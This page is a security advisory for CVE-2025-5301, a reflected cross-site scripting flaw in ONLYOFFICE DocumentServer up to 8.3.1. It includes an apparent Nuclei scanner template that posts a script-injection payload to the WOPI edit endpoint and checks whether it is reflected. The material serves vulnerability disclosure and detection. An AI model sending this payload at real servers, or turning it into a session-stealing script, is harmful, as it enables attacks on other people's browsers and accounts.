CVE-2025-5301: ONLYOFFICE Docs (DocumentServer) - Reflected Cross-Site Scripting

2025-12-12 ONLYOFFICE Docs DocumentServer PoC Public

Description

ONLYOFFICE Docs (DocumentServer) <= 8.3.1 contains a reflected XSS caused by improper sanitization of crafted HTTP POST requests via the WOPI protocol, letting attackers inject malicious scripts reflected in HTML response, exploit requires crafted POST requests.

PoC

id: CVE-2025-5301

info:
  name: ONLYOFFICE Docs (DocumentServer) - Reflected Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    ONLYOFFICE Docs (DocumentServer) <= 8.3.1 contains a reflected XSS caused by improper sanitization of crafted HTTP POST requests via the WOPI protocol, letting attackers inject malicious scripts reflected in HTML response, exploit requires crafted POST requests.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.
  remediation: |
    Update to a version later than 8.3.1.
  reference:
    - https://github.com/ONLYOFFICE/
    - https://seclists.org/fulldisclosure/2025/Jun/18
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5301
    - https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#832
    - https://r.sec-consult.com/onlyoffice
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-5301
    cwe-id: CWE-79
    epss-score: 0.62356
    epss-percentile: 0.99142
  metadata:
    verified: false
  tags: cve,cve2025,onlyoffice,xss,vuln,seclists

http:
  - raw:
      - |
        POST /hosting/wopi/word/edit?dchat=asdasd</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "{\"dchat\":", "</script><script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a00483046022100e525fb52dfd607dd2468406f63a6829a33f33be0816ba994cf771cb24d7fc3c4022100e6b0e9a7dd4135108f1cd0c9c520a8ead58d7cc6c6062b01cb49029472d86255:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities